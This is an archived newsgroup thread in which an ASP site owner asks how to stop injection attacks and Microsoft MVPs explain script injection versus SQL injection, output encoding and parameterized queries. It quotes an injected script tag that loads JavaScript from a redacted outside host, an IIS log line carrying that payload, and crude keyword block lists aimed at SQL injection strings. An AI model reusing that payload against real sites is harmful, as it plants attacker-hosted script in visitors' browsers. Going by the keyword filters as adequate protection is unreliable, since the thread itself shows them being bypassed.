sql injection

[shank]

I've been hit again using DW, parameterized queries and stored procedures.
I'm guessing I was not strict enough with character counts and allowing to
long of a string to pass.

Aside from that, as crude as it may be, is the below enough to stop these
attacks? If not, how would they get around this?

<%
If Instr(Request.QueryString("http")) > 1 or
Instr(Request.QueryString("script")) > 1 Then
Response.Redirect ("e.asp?msg=go away")
End If
%>

A variation of the following script string is being inserted through a
search page:
<script src=http://www.xxxxx.mobi/ngg.js></script>

thanks

 

[Bob Barrows [MVP]]

I've been hit again using DW, parameterized queries and stored
procedures. I'm guessing I was not strict enough with character
counts and allowing to long of a string to pass.

Aside from that, as crude as it may be, is the below enough to stop
these attacks? If not, how would they get around this?

<%
If Instr(Request.QueryString("http")) > 1 or
Instr(Request.QueryString("script")) > 1 Then
Response.Redirect ("e.asp?msg=go away")
End If
%>

A variation of the following script string is being inserted through a
search page:
<script src=http://www.xxxxx.mobi/ngg.js></script>

I'm guessing, but I suspect that script string is in your database, not in
your querystring. You need to take as much care with user input that you've
stored in your database as you are doing with the input passed from your
form.

 

[shank]

I'm guessing, but I suspect that script string is in your database, not in
your querystring. You need to take as much care with user input that
you've stored in your database as you are doing with the input passed from
your form.

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

=============================================
This was in my IIS logs... I assumed the script was passed through the query
string

2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195

thanks

 

[Bob Barrows [MVP]]

OK, these Instr calls don't seem to be properly formatted. I beleive they
should be throwing an error. Are you masking the error using on error resume
next?
Anyways, Instr should take at least two arguments: the string to be
searched, and the string to search for. You are only supplying a single
argument to each call.
For another thing: your querystring does not have items called "http" or
"script" so of course, this routine will never find any problems ...
Try this:

dim key, keyval
for each key in Request.QueryString
keyval = Request.Querystring(key)
if instr(keyval,"http") > 0 or instr(keyval,"script") > 0 then
Response.Redirect ("e.asp?msg=go away")
exit for
end if
next

This was in my IIS logs... I assumed the script was passed through
the query string

2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195

When you say you've been "hit" do you mean the strings in those querystrings
made it to the pages you were serving to your clients? What I'm seeing here
is not really sql injection per se, since it does not involve injecting sql
commands for your database to execute without your knowledge, it's more like
"script injection". Which means you are not being careful to use
Server.HTMLEncode when writing data passed from users to Response. So yes,
validate as I showed above, but don't assume you have figured out every way
for hackers to sneak this crap by you: don't write user-supplied data
directly to Response. Encode it so it does not get executed by the client.

 

[Dave Anderson]

This was in my IIS logs... I assumed the script was passed through
the query string

2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195

That's not SQL injection unless it results in an INSERT or UPDATE in the
database.

 

[shank]

That's not SQL injection unless it results in an INSERT or UPDATE in the
database.



--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message.
Use of this email address implies consent to these terms.

================
The end result of the attack was
<script%20src=http://www.xxxxx.mobi/ngg.js></script>
being appended to existing data. So it would have been an update.

thanks

 

[Bob Barrows [MVP]]

================
The end result of the attack was
<script%20src=http://www.xxxxx.mobi/ngg.js></script>
being appended to existing data. So it would have been an update.

No, you are misunderstanding Dave's point. SQL Injection involves the
insertion of actual sql statements (update, delete, etc) into sql statements
that are dynamically created and sent to the database to be executed.

"<script%20src=http://www.xxxxx.mobi/ngg.js></script>" is not a sql
statement that can be executed by a database, is it? It is data being put
into a database field. SQL Injection is not necessary to allow that to
happen.

At this point it is just sitting in a database field and doing no harm.
Where the harm occurs is when your code reads that data out of the database
and writes it directly to Response without validating it or encoding it so
the browser will not process it. What is happening to you is "script
injection".

Now, the bot that accomplished this script injection may very well have used
sql injection to discover your database schema before it was able to perform
this script injection ... but it didn't have to.

Have you searched your database for this string so you can get rid of it?

 

[shank]

No, you are misunderstanding Dave's point. SQL Injection involves the
insertion of actual sql statements (update, delete, etc) into sql
statements that are dynamically created and sent to the database to be
executed.

"<script%20src=http://www.xxxxx.mobi/ngg.js></script>" is not a sql
statement that can be executed by a database, is it? It is data being put
into a database field. SQL Injection is not necessary to allow that to
happen.

At this point it is just sitting in a database field and doing no harm.
Where the harm occurs is when your code reads that data out of the
database and writes it directly to Response without validating it or
encoding it so the browser will not process it. What is happening to you
is "script injection".

Now, the bot that accomplished this script injection may very well have
used sql injection to discover your database schema before it was able to
perform this script injection ... but it didn't have to.

Have you searched your database for this string so you can get rid of it?

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

===================
Yes, I searched and replaced all tables using a donated SP in this forum.
Works very well.
The further explanation is appreciated!
thanks!

 

[shank]

Per your help below, I'm using the following include on any page that has a
connection to the database. It's stopped 99% of the attacks. I can see this
in the logs. However, one page in particular gets pounded a lot. And it
appears, on a hit and miss basis, if the bad guys hit the site multiple
times consecutively, once every so often it does not get redirected to the
error page. That shows in the logs as well. How can I stop that?

<%
dim key, keyval
for each key in Request.QueryString
keyval = Request.Querystring(key)
if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or instr(keyval,"@") >
0 or instr(keyval,";") > 0 or instr(keyval,"--") > 0 then
Response.Redirect ("e.asp?msg=go away")
exit for
end if
next
%>

thanks
================================

 

[Bob Barrows [MVP]]

Well, your validation is missing something. We can't really tell what it is
missing without seeing what's in your logs.

When the redirection does not occur, are you using parameters so that they
don't do any damage?


PS. I hope you've coded that e.asp page to load r-e-e-e-a-a-a-l-l-y slowly
.... with client-side "please wait" messages to make the hacker think your
site is just experiencing a temporary slowdown ....
Maybe even an infinite progress bar to make him think something is really
happening ...

 

[shank]

This is my query. I don't usually post it because DW generated codes get
cold receptions around here.

The connect include has read only permissions to the tables.

<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<!--#include file="Connections/public.asp" -->
<%
dim key, keyval
for each key in Request.QueryString
keyval = Request.Querystring(key)
if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or instr(keyval,"@") >
0 or instr(keyval,";") > 0 or instr(keyval,"--") > 0 then
Response.Redirect ("e.asp?msg=go away")
exit for
end if
next
%>

<%
Dim rsIn
Dim rsIn_cmd
Dim rsIn_numRows

Set rsIn_cmd = Server.CreateObject ("ADODB.Command")
rsIn_cmd.ActiveConnection = MM_PUBLIC_STRING
rsIn_cmd.CommandText = "{call ja.stp_In}"
rsIn_cmd.Prepared = true

Set rsIn = rsIn_cmd.Execute
rsIn_numRows = 0
%>
<%
Dim rsD__INST
rsD__INST = "%"
If (Request("i") <> "") Then
rsD__INST = Request("i")
End If
%>
<%
Dim rsD__SI
rsD__SI = "%"
If (Request("si") <> "") Then
rsD__SI = Request("si")
End If
%>
<%
Dim rsD__X
rsD__X = "nr"
If (Request("x") <> "") Then
rsD__X = Request("x")
End If
%>
<%
Dim rsD
Dim rsD_cmd
Dim rsD_numRows

Set rsD_cmd = Server.CreateObject ("ADODB.Command")
rsD_cmd.ActiveConnection = MM_PUBLIC_STRING
rsD_cmd.CommandText = "{call ja.stp_D(?,?,?)}"
rsD_cmd.Prepared = true
rsD_cmd.Parameters.Append rsD_cmd.CreateParameter("param1", 200, 1, 30,
rsD__INST) ' adVarChar
rsD_cmd.Parameters.Append rsD_cmd.CreateParameter("param2", 200, 1, 30,
rsD__SI) ' adVarChar
rsD_cmd.Parameters.Append rsD_cmd.CreateParameter("param3", 200, 1, 10,
rsD__X) ' adVarChar

Set rsD = rsD_cmd.Execute
rsD_numRows = 0
%>

thanks

 

[Bob Barrows [MVP]]

This is my query. I don't usually post it because DW generated codes
get cold receptions around here.

Set rsIn_cmd = Server.CreateObject ("ADODB.Command")
rsIn_cmd.ActiveConnection = MM_PUBLIC_STRING

I believe I've pointed this out to you before, but just in case I haven't:
this is a huge mistake. Always use an explicit Connection object rather than
allowing ADO to create an implicit one over which you have no control behind
the scenes.

<snip>
That works: you are using parameters, but you may be going to too much
trouble, at least for this particular situation. It could be as simple as
this:

dim conn,rsD
if DataIsValid then
set conn=createobject("adodb.connection")
conn.open MM_PUBLIC_STRING
conn.DefaultDatabase="ja"
Set rsD=createobject("adodb.recordset")
conn.stp_In rsD__INST,rsD__SI,rsD__X, rsD
if not rsD.EOF then
etc.
end if
end if